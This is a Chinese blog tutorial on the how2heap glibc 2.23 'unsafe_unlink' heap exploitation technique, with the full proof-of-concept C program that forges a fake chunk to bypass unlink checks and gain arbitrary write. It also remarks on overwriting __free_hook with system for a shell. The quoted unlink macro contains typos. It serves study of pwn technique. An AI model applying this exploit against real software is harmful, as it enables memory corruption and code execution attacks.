how2heap-2.23-07-unsafe_unlink

unlink的作用

在glibc-2.23的malloc.c中搜索unlink,找到unlink的使用场景

  • _int_malloc

    • 从恰好大小合适的largebin中获取chunk,发生unlink
    • 从比malloc要求大的largebin中取chunk,发生unlink
  • _int_free

    • free之后,与前后空闲的chunk进行合并
  • malloc_consolidate

    • consolidate时,chunk之间的unlink
  • _int_realloc

    • 向前扩展,合并物理相邻高地址空闲chunk

https://blog.csdn.net/qq_41453285/article/details/98850842

粗略理解正常unlink的整体过程

#include 
int main()
{
    char* a = malloc(0x80);
    malloc(0x8);
    char* b = malloc(0x80);
    char* c = malloc(0x90);
    malloc(0x8);
    char* d = malloc(0x100);
    malloc(0x8);
    free(a);
    free(b);
    free(d);

    free(c);

    return 0;
}

unlink发生前unsorted bin中的布局

就是free( c)执行之前,unsorted bin中的布局(连接线就不画了,入unsorted bin链可以看 how2heap-2.23-05-unsorted_bin_attack)
how2heap-2.23-07-unsafe_unlink_第1张图片

释放free(c)准备unlink

chunk b和chunk c物理相连
how2heap-2.23-07-unsafe_unlink_第2张图片

chunk b unlink

how2heap-2.23-07-unsafe_unlink_第3张图片

再将合并后的chunk bchunk c插入到unsorted bin链中

how2heap-2.23-07-unsafe_unlink_第4张图片

只关心unlink,及其细节

在unlink发生前,chunk b与周围chunk在unsorted bin中的连线关系

how2heap-2.23-07-unsafe_unlink_第5张图片

chunk b unlink

在本示例中:就是chunk b脱链,chunk d和chunk a重新连接
how2heap-2.23-07-unsafe_unlink_第6张图片
再把图中已经被unlink的chunk b去除一下
how2heap-2.23-07-unsafe_unlink_第7张图片
符合unlink的核心步骤,下面是较旧版本中unlink实现代码

#define unlink(P, BK, FD)
{
        BK = P->bk;
        FD = p=>fd;
        FD->bk = BK;
        BK->fd = FD:
}

较旧版本中unlink的安全性问题

如果有漏洞,可以篡改chunk b的fd,bk
how2heap-2.23-07-unsafe_unlink_第8张图片
还未unlink的时候,chunk b fd和bk就已经指向了被篡改后的位置
how2heap-2.23-07-unsafe_unlink_第9张图片
在unlink的时候,就能修改篡改后fd,bk指向空间的数据
how2heap-2.23-07-unsafe_unlink_第10张图片
如果篡改fd指向__free_hook相关空间,篡改bk为system的地址,就很容易get shell

回到how2heap中的unsafe_unlink

之后的版本,unlink的原理没变,但是增加了检查

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

来看看how2heap中unsafe_unlink,大佬们是怎么绕过的

#include 
#include 
#include 
#include 
#include 

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

首先绕过(P->fd->bk != P || P->bk->fd != P) == False

首先执行chunk0_ptr = (uint64_t*) malloc(malloc_size);
how2heap-2.23-07-unsafe_unlink_第11张图片
再执行,就绕过了(P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

这里,在chunk0的内容头部中伪造了一个chunk
how2heap-2.23-07-unsafe_unlink_第12张图片
如何理解
how2heap-2.23-07-unsafe_unlink_第13张图片

绕过chunksize(P) != prev_size (next_chunk(P))

chunk0和chunk1是连续申请的,其虚拟内存相连

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

how2heap-2.23-07-unsafe_unlink_第14张图片
修改chunk1的prev_size和prev_in_use位,使堆管理器认为伪造的chunk和chunk1是相连的,且伪造的chunk已经处于释放状态
how2heap-2.23-07-unsafe_unlink_第15张图片
现在释放chunk1,就能触发伪造的chunk进行unlink操作

unlink操作引发漏洞

从这两个图,可以看到chunk0_ptr存储的内容会被覆盖
how2heap-2.23-07-unsafe_unlink_第16张图片
how2heap-2.23-07-unsafe_unlink_第17张图片
到底覆盖为&chunk0_ptr-0x10还是&chunk0_ptr-0x18,可以从unlink的代码中看出

#define unlink(P, BK, FD)
{
        BK = P->bk;
        FD = p=>fd;
        FD->bk = BK;
        BK->fd = FD:
}

chunk0_ptr的内容被覆盖为&chunk0_ptr-0x18,也就是chunk0_ptr认为自己指向的chunk从&chunk0_ptr-0x18开始
how2heap-2.23-07-unsafe_unlink_第18张图片

漏洞的利用

从上图可以看出,chunk0_ptr可以通过自己指向chunk内容的下标3(从下标0开始),就能更改chunk0_ptr指向的chunk,实现指向任意地址

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

然后就能可以进行任意地址写了

chunk0_ptr[0] = 0x4141414142424242LL;

你可能感兴趣的:(二进制安全-01-pwn,linux,pwn)